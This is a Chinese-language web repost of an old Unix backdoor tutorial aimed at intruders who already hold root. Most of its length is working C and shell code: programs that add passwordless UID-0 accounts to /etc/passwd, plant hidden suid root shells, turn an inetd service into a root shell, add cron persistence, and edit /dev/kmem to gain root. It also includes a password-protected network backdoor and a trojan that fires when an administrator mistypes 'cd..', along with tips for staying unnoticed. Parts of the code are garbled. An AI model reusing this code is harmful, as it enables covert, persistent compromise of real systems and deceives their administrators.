您当前的位置:首页 > 电脑百科 > 安全防护 > 黑客技术

初级黑客技巧,老系统用的后门技巧

时间:2019-12-16 10:43:43  来源:  作者:

后门技巧

初级骇客技巧,老系统用的后门技巧

 

 


[初级]
最简单的方法,就是在口令文件 passwd 中增加一个 UID 为 0 的帐号。但最好别这么做,因为只要系统管理员检查口令文件就会“漏馅”了。以下是在 /etc/passwd 口令文件中添加一个 UID 0 帐号的C程序。
<++> backdoor/backdoor1.c
#include 
main()
{
FILE *fd;
fd=fopen("/etc/passwd","a+");
fprintf(fd,"hax0r::0:0::/root:/bin/shn");
}
<-->
比这种方法稍微隐蔽一点的就是将藏在口令文件中某个无人使用帐号的 UID 改为 0,并将其第二个域(口令域)设为空。(注意,如果你使用的是较高版本的*nix,也许还要修改 /etc/shadow 文件。)
在 /tmp 目录下放置 suid shell。以后只要你运行这个程序,就会轻易得到根用户权限。这种方法几乎是最受欢迎的了。但有许多系统每几小时,或者每次启动都会清除 /tmp 目录下的数据,另外一些系统则根本不允许运行 /tmp 目录下的 suid 程序。当然,你可以自己修改或清除这些限制(因为你已是根用户,有权限修改 /var/spool/cron/crontabs/root 和 /etc/fstab 文件)。以下是在 /tmp 目录下放置 suid shell 程序的C源程序。
<++> backdoor/backdoor2.c
#include 
main()
{
system("cp /bin/sh /tmp/fid");
system("chown root.root /tmp/fid");
system("chmod 4755 /tmp/fid");
}
<-->

初级骇客技巧,老系统用的后门技巧

 


[中级]
超级服务器守护进程(inetd)的配置文件。系统管理员一般情况下不经常检查该文件,因此这倒是个放置“后门”的好地方。:) 那么在这里如何建立一个最好的后门呢?当然是远程的了。这样你就不必需要本地帐号就可以成为根用户了。首先,让我们先来了解一下这方面的基础知识:inetd 进程负责监听各个TCP和UDP端口的连接请求,并根据连接请求启动相应的服务器进程。该配置文件 /etc/inetd.conf 很简单,基本形式如下:
(1) (2) (3) (4) (5) (6) (7)
ftp stream tcp nowait root /usr/etc/ftpd ftpd
talk dgram udp wait root /usr/etc/ntalkd ntalkd
mountd/1 stream rpc/tcp wait root /usr/etc/mountd mountd
1:第一栏是服务名称。服务名通过查询 /etc/services 文件(供 TCP 和 UDP 服务使用)或 portmap 守护进程(供 RPC 服务使用)映射成端口号。RPC(远程过程调用)服务由 name/num 的名字格式和第三栏中的 rpc 标志识别。
2:第二栏决定服务使用的套接口类型:stream、dgram 或 raw。一般说来,stream 用于 TCP 服务,dgram 用于 UDP, raw 的使用很少见。
3:第三栏标识服务使用的通信协议。允许的类型列在 protocols 文件中。协议几乎总是是 tcp 或 udp。RPC 服务在协议类型前冠以 rpc/。
4:如果所说明的服务一次可处理多个请求(而不是处理一个请求后就退出),那么第四栏应置成 wait,这样可以阻止 inetd 持续地派生该守护进程的新拷贝。此选项用于处理大量的小请求的服务。如果 wait 不合适,那么在本栏中填 nowait。
5:第五栏给出运行守护进程的用户名。
6:第六栏给出守护进程的全限定路径名。
7:守护进程的真实名字及其参数。
如果所要处理的工作微不足道(如不需要用户交互),inetd 守护进程便自己处理。此时第六、七栏只需填上 'internal' 即可。所以,要安装一个便利的后门,可以选择一个不常被使用的服务,用可以产生某种后门的守护进程代替原先的守护进程。例如,让其添加 UID 0 的帐号,或复制一个 suid shell。
一个比较好的方法之一,就是将用于提供日期时间的服务 daytime 替换为能够产生一个 suid root 的 shell。只要将 /etc/inetd.conf 文件中的:
daytime stream tcp nowait root internal
修改为:
daytime stream tcp nowait /bin/sh sh -i.
然后重启(记住:一定要重启)inetd 进程:
killall -9 inetd。
但更好、更隐蔽的方法是伪造网络服务,让它能够在更难以察觉的情况下为我们提供后门,例如口令保护等。如果能够在不通过 telnetd 连接的情况下轻松地进行远程访问,那是再好不过了。方法就是将“自己的”守护程序绑定到某个端口,该程序对外来连接不提供任何提示符,但只要直接输入了正确的口令,就能够顺利地进入系统。以下是这种后门的一个示范程序。(注:这个程序写得并不很完整。)
<++> backdoor/remoteback.c
/* Coders:
Theft
Help from:
Sector9, Halogen
Greets: People: Liquid, AntiSocial, Peak, Grimknight, s0ttle,halogen, 
Psionic, g0d, Psionic.
Groups: Ethical Mutiny Crew(EMC), Common Purpose hackers(CPH),
Global Hell(gH), Team Sploit, Hong Kong Danger Duo,
Tg0d, EHAP.
Usage:
Setup: 
# gcc -o backhore backhore.c # ./backdoor password
Run: 
Telnet to the host on port 4000. After connected you
Will not be prompted for a password, this way it is less
Obvious, just type the password and press enter, after this
You will be prompted for a command, pick 1-8.
Distributers:
Ethical Mutiny Crew
*/
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#define PORT 4000
#define MAXDATASIZE 100
#define BACKLOG 10
#define SA struct sockaddr 
void handle(int);
int
main(int argc, char *argv[])
{
int sockfd, new_fd, sin_size, numbytes, cmd;
char ask[10]="Command: ";
char *bytes, *buf, pass[40];
struct sockaddr_in my_addr;
struct sockaddr_in their_addr;
printf("n Backhore BETA by Theftn");
printf(" 1: trojans rc.localn");
printf(" 2: sends a systemwide messagen");
printf(" 3: binds a root shell on port 2000n");
printf(" 4: creates suid sh in /tmpn");
printf(" 5: creates mutiny account uid 0 no passwdn");
printf(" 6: drops to suid shelln");
printf(" 7: information on backhoren");
printf(" 8: contactn");
if (argc != 2) {
fprintf(stderr,"Usage: %s passwordn", argv[0]);
exit(1);
}
strncpy(pass, argv[1], 40);
printf("..using password: %s..n", pass);
if ( (sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
perror("socket");
exit(1);
}
my_addr.sin_family = AF_INET;
my_addr.sin_port = htons(PORT);
my_addr.sin_addr.s_addr = INADDR_ANY;
if (bind(sockfd, (SA *)&my_addr, sizeof(SA)) == -1) {
perror("bind");
exit(1);
}
if (listen(sockfd, BACKLOG) == -1) {
perror("listen");
exit(1);
}
sin_size = sizeof(SA);
while(1) { /* main accept() loop */
if ((new_fd = accept(sockfd, (SA *)&their_addr, &sin_size)) == -1) {
perror("accept");
continue;
}
if (!fork()) {
dup2(new_fd, 0);
dup2(new_fd, 1);
dup2(new_fd, 2);
fgets(buf, 40, stdin);
if (!strcmp(buf, pass)) {
printf("%s", ask);
cmd = getchar();
handle(cmd);
}
close(new_fd);
exit(0);
}
close(new_fd);
while(waitpid(-1,NULL,WNOHANG) > 0); /* rape the dying children */
}
}
void
handle(int cmd)
{
FILE *fd;
switch(cmd) {
case '1':
printf("nBackhore BETA by Theftn");
printf("theft@cyberspace.orgn");
printf("Trojaning rc.localn");
fd = fopen("/etc/passwd", "a+");
fprintf(fd, "mutiny::0:0:ethical mutiny crew:/root:/bin/sh");
fclose(fd);
printf("Trojan complete.n");
break;
case '2':
printf("nBackhore BETA by Theftn");
printf("theft@cyberspace.orgn");
printf("Sending systemwide message..n");
system("wall Box owned via the Ethical Mutiny Crew");
printf("Message sent.n");
break;
case '3':
printf("nBackhore BETA by Theftn");
printf("theft@cyberspace.orgn");
printf("nAdding inetd backdoor... (-p)n");
fd = fopen("/etc/services","a+");
fprintf(fd,"backdoort2000/tcptbackdoorn");
fd = fopen("/etc/inetd.conf","a+");
fprintf(fd,"backdoortstreamttcptnowaittroott/bin/sh -in");
execl("killall", "-HUP", "inetd", NULL);
printf("ndone.n");
printf("telnet to port 2000nn");
break;
case '4':
printf("nBackhore BETA by Theftn");
printf("theft@cyberspace.orgn");
printf("nAdding Suid Shell... (-s)n");
system("cp /bin/sh /tmp/.sh");
system("chmod 4700 /tmp/.sh");
system("chown root:root /tmp/.sh");
printf("nSuid shell added.n");
printf("execute /tmp/.shnn");
break;
case '5':
printf("nBackhore BETA by Theftn");
printf("theft@cyberspace.orgn");
printf("nAdding root account... (-u)n");
fd=fopen("/etc/passwd","a+");
fprintf(fd,"hax0r::0:0::/:/bin/bashn");
printf("ndone.n");
printf("uid 0 and gid 0 account addednn");
break;
case '6':
printf("nBackhore BETA by Theftn");
printf("theft@cyberspace.orgn");
printf("Executing suid shell..n");
execl("/bin/sh");
break;
case '7':
printf("nBackhore BETA by Theftn");
printf("theft@cyberspace.orgn");
printf("nInfo... (-i)n");
printf("n3 - Adds entries to /etc/services & /etc/inetd.conf giving youn");
printf("a root shell on port 2000. example: telnet 2000nn");
printf("4 - Creates a copy of /bin/sh to /tmp/.sh which, whenevern");
printf("executed gives you a root shell. example:/tmp/.shnn");
printf("5 - Adds an account with uid and gid 0 to the passwd file.n");
printf("The login is 'mutiny' and there is no passwd.");
break;
case '8':
printf("nBackhore BETA by Theftn");
printf("nhttp://theft.bored.orgn");
printf("theft@cyberspace.orgnn");
break;
default:
printf("unknown command: %dn", cmd);
break;
}
}
<-->

 


[高级]
Crontab 程序对于系统管理员来说是非常有用的。Cron 服务用于计划程序在特定时间(月、日、周、时、分)运行。如果你足够聪明,就应该加以利用,使之为我们制造“后门”!通过 Cron 服务,你可以让它在每天凌晨 3:00 (这个时候网管应该睡觉了吧。)运行后门程序,使你能够轻易进入系统干你想干的事,并在网管起来之前退出系统。根用户的 crontab 文件放在 /var/spool/crontab/root 中,其格式如下:
(1) (2) (3) (4) (5) (6)
0 0 * * 3 /usr/bin/updatedb 
1. 分钟 (0-60)
2. 小时 (0-23)
3. 日 (1-31) 
4. 月 (1-12)
5. 星期 (1-7)
6. 所要运行的程序
以上内容设置该程序于每星期三 0:0 运行。要在 cron 建立后门,只需在 /var/spool/crontab/root 中添加后门程序即可。例如该程序可以在每天检查我们在 /etc/passwd 文件中增加了用户帐号是否仍然有效。以下是程序示例:
0 0 * * * /usr/bin/retract
<++> backdoor/backdoor.sh
#!/bin/csh
set evilflag = (`grep eviluser /etc/passwd`) 
if($#evilflag == 0) then 
set linecount = `wc -l /etc/passwd`
cd 
cp /etc/passwd ./temppass 
@ linecount[1] /= 2
@ linecount[1] += 1 
split -$linecount[1] ./temppass 
echo "Meb::0:0:Meb:/root:/bin/sh" >> ./xaa
cat ./xab >> ./xaa
mv ./xaa /etc/passwd
chmod 644 /etc/passwd 
rm ./xa* ./temppass
echo Done...
else
endif
<-->
[综合]
当然,我们可以编写木马程序,并把它放到 /bin 目录下。当以特定命令行参数运行时将产生一个 suid shell。以下是程序示例:
<++> backdoor/backdoor3.c
#include 
#define pass "triad"
#define BUFFERSIZE 6 
int main(argc, argv)
int argc;
char *argv[];{
int i=0;
if(argv[1]){ 
if(!(strcmp(pass,argv[1]))){
system("cp /bin/csh /bin/.swp121");
system("chmod 4755 /bin/.swp121");
system("chown root /bin/.swp121");
system("chmod 4755 /bin/.swp121");
}
}
printf("372f: Invalid control argument, unable to initialize. Retrying");
for(;i<10;i++){ 
fprintf(stderr,"."); 
sleep(1);

printf("nAction aborted after 10 attempts.n");
return(0);
}
<-->
[变种]
以下程序通过在内存中寻找你所运行程序的 UID,并将其改为 0,这样你就有了一个 suid root shell 了。
<++> backdoor/kmemthief.c
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#define pass "triad"
struct user userpage;
long address(), userlocation;
int main(argc, argv, envp)
int argc;
char *argv[], *envp[];{
int count, fd;
long where, lseek();
if(argv[1]){ 
if(!(strcmp(pass,argv[1]))){
fd=(open("/dev/kmem",O_RDWR);
if(fd<0){
printf("Cannot read or write to
/dev/kmemn");
perror(argv);
exit(10); 
}
userlocation=address();
where=(lseek(fd,userlocation,0);
if(where!=userlocation){
printf("Cannot seek to user pagen");
perror(argv);
exit(20); 
}
count=read(fd,&userpage,sizeof(struct user));
if(count!=sizeof(struct user)){
printf("Cannot read user pagen");
perror(argv);
exit(30);

printf("Current UID: %dn",userpage.u_ruid);
printf("Current GID: %dn",userpage.g_ruid);
userpage.u_ruid=0;
userpage.u_rgid=0;
where=lseek(fd,userlocation,0);
if(where!=userlocation){ 
printf("Cannot seek to user pagen");
perror(argv);
exit(40); 
}
write(fd,&userpage,((char *)&(userpage.u_procp))-((char *)&userpage));
execle("/bin/csh","/bin/csh","-i",(char *)0, envp);
}


<-->


[“笨”方法]
你有没有曾经试过在 UNIX 系统下错把 "cd .." 输入为 "cd.."?这是由于使用 MS windows 和 MS-DOS 养成的习惯。这种错误网管是否也会犯呢?如果是这样的话,可不可以让他为我们做点“贡献”呢?:) 例如当他输入 "cd.." 时,会激活我们的木马程序。这样我们就不必登录到系统去激活木马了。以下是程序示例:
<++> backdoor/dumb.c
/*
本程序可在管理员偶然地输入 cd.. 时向 /etc/passwd 文件添加一个 UID 0 帐号。但同时它也实现 cd .. 功能,从而骗过管理员。
*/
#include 
#include 
main()
{
FILE *fd;
fd=fopen("/etc/passwd","a+");
fprintf(fd,"hax0r::0:0::/root:/bin/shn");
system("cd");
}
<-->
把上面的程序编译好,放到隐蔽的地方。最好使用 chown 命令将该程序的属主改为 root,使管理员使用 "ls -alF" 命令看到 suid 程序时不至于怀疑。
好了,将这个程序(假设其名为 fid)放好以后,下一步的工作就是建立该程序到 "cd.." 的链接:ln cd.. /bin/out。这样,只要系统管理员犯了这个输入错误,你就可以又一次得到系统控制权了。

版权有侵犯请告知,随时删除。



Tags:   点击:()  评论:()
声明:本站部分内容及图片来自互联网,转载是出于传递更多信息之目的,内容观点仅代表作者本人,如有任何标注错误或版权侵犯请与我们联系(Email:2595517585@qq.com),我们将及时更正、删除,谢谢。
▌相关推荐
前言什么是数据脱敏数据脱敏是指对某些敏感信息通过脱敏规则进行数据的变形,实现敏感隐私数据的可靠保护常用脱敏规则替换、重排、加密、截断、掩码良好的数据脱敏实施1、尽...【详细内容】
2021-12-28  Tags:   点击:(3)  评论:(0)  加入收藏
河南最有名的“13碗面”,吃过10种以上的一定是地道河南人,你吃过几碗?河南位于黄河中下游,优越的地理位置和条件,让河南的种植业在全国脱颖而出,被称为全国的“粮仓”。小麦是河南...【详细内容】
2021-12-28  Tags:   点击:(3)  评论:(0)  加入收藏
在狗界中,有些狗狗比较凶残、霸道,今天我们就来说说被称为“犬中四煞”的4种狗,请认住它们的长相,看见了要绕路走! NO1:黑狼犬产地:中国寿命:11-12年黑狼犬是狼狗的一种,长大高大威猛...【详细内容】
2021-12-28  Tags:   点击:(3)  评论:(0)  加入收藏
协议下的体面离婚 2015年1月 方晴供职于一家外企,袁亮硕士毕业后开了家公司。两人相识、恋爱后走进婚姻殿堂。 方晴和袁亮的儿子小浩出生了。本该是其乐融融的三口之家,却在一...【详细内容】
2021-12-28  Tags:   点击:(2)  评论:(0)  加入收藏
中国人神话世界五千年到一万年之前到底是一个什么样的世界?相信这个问题应该是困扰了大家许久吧!其实这些问题可以从远古时代的三皇五帝开始说起,三皇五帝对于中国人的影响就如...【详细内容】
2021-12-28  Tags:   点击:(2)  评论:(0)  加入收藏
去年有个新闻,说的是一名印度女孩自小被欧洲有钱人家收养,长大后要回来给自己出生的村子捐钱做慈善。等她回村的时候,村里人专门为女孩修了一条路。表面上看,这貌似是个暖心的故...【详细内容】
2021-12-28  Tags:   点击:(3)  评论:(0)  加入收藏
日本在今年又给大家带来了一个巨大消息,日本著名的球星本田圭佑出资设立的一家公司,正式发售了飞行摩托车。 在之前可是在电视或者是电影中才能看到的,是具备了未来科幻的一个...【详细内容】
2021-12-28  Tags:   点击:(4)  评论:(0)  加入收藏
V社今日公布了2021年Steam最畅销游戏榜单,其中涵盖了本年度Steam上收入最高的100款游戏。为了得出每款游戏的总收入,Steam计算了2021年1月1日至2021年12月15日的游戏销售额、...【详细内容】
2021-12-28  Tags:   点击:(3)  评论:(0)  加入收藏
“都怪我一时糊涂铸下大错,这几年为了蒙混过关,拆东墙补西墙就怕被发现,我对不起信任我的领导同事,更对不起我的家人。”内蒙古某国有合资公司原出纳员包某在庭审现场听取公诉人...【详细内容】
2021-12-28  Tags:   点击:(2)  评论:(0)  加入收藏
2021年黄金价格下跌11.3%,黄金现在已经下跌了6.5%。白银价格一度下跌19.3%,白银现在已经下跌了15%。美元通胀。白银自2020年2月份以来,五家中央银行(Fed、欧洲中央银行、日本中...【详细内容】
2021-12-28  Tags:   点击:(3)  评论:(0)  加入收藏
▌简易百科推荐
一、背景介绍作为一名渗透测试工作人员(或者小白),在我们的日常工作或者学习中,我们不可能时时刻刻将自己的个人电脑(安装好Kali Linux的个人主机)带在身边,当我们没有带自己的个人...【详细内容】
2021-12-27  Kali与编程    Tags:Kali Linux   点击:(3)  评论:(0)  加入收藏
我们都知道公司网络中开放的端口越多,遭受网络攻击的可能性就越大,就越容易发生数据泄露事件。 在这篇文章中,我们将讨论与开放端口相关的网络安全隐患。 网络中的端口 据统计...【详细内容】
2021-12-10  诺必达云服务    Tags:端口扫描   点击:(33)  评论:(0)  加入收藏
一、背景介绍DirBuster是用来探测web服务器上的目录和隐藏文件的。因为DirBuster是采用java编写的,所以运行前要安装上java的环境。 来看一下基本的使用: ①:TargetURL下输入要...【详细内容】
2021-12-07  Kali与编程    Tags:Dirbuster   点击:(28)  评论:(0)  加入收藏
#本文仅用于网络安全研究学习任何未经授权的入侵都是违法行为dir 浏览 创建文件 echo 文件内容 > 文件名字.扩展名 浏览文件内容 type 文件名 分页浏...【详细内容】
2021-12-07  WHOAMI    Tags:黑客   点击:(22)  评论:(0)  加入收藏
上一节中我们学了如何实现ARP断网攻击,本节中我们将利用ARP欺骗的原理实现截取目标计算机图片流量,内容包括:&uuml;如何开启ip转发&uuml;怎样截取受害机图片流量 一、开启ip转...【详细内容】
2021-11-23  Kali与编程    Tags:黑客   点击:(23)  评论:(0)  加入收藏
一、背景介绍大家在Linux的日常使用中都晓得如何通过命令行去配置Linux的端口开放规则,但是大家知道如何配置Windows入站出站规则吗?有哪些常见的危险端口呢?如何解决上述问题...【详细内容】
2021-11-15  Kali与编程    Tags:端口   点击:(39)  评论:(0)  加入收藏
1.背景介绍几乎每一个玩渗透的人都会接触到metasploit framework,简称msf。这是一个渗透测试框架,用ruby语言编写的,该框架集成了很多可用的exploit,比如著名的ms08_067等。你可...【详细内容】
2021-11-15  Kali与编程    Tags:服务扫描   点击:(37)  评论:(0)  加入收藏
在前面的课程中,我们学习了ARP攻击的理论和实践知识,知道了怎么进行攻击,这节中我们将学习如何进行防御,内容包括:&uuml;借助第三方软件防御(360安全卫士,腾讯管家等)&uuml;使用arp...【详细内容】
2021-11-13  Kali与编程    Tags:白帽   点击:(32)  评论:(0)  加入收藏
简介在sqlmap基础上增加了目录扫描、hash爆破等功能运行环境 linux 在云服务器上还是蛮不错的项目连接如下https://github.com/s0md3v/sqlmat usage: sqlmate [-h] [--dor...【详细内容】
2021-11-10  暗网视界    Tags:sqlmate   点击:(44)  评论:(0)  加入收藏
一、背景介绍在网上冲浪少不了用到搜索引擎,而很多朋友都习惯把Google视为第一个选择对象。当然Google无论在搜索速度还是结果关联性方面都是十分优秀的。但百度(http://www.b...【详细内容】
2021-11-05  Kali与编程    Tags:白帽黑客   点击:(31)  评论:(0)  加入收藏
相关文章
    无相关信息
最新更新
栏目热门
栏目头条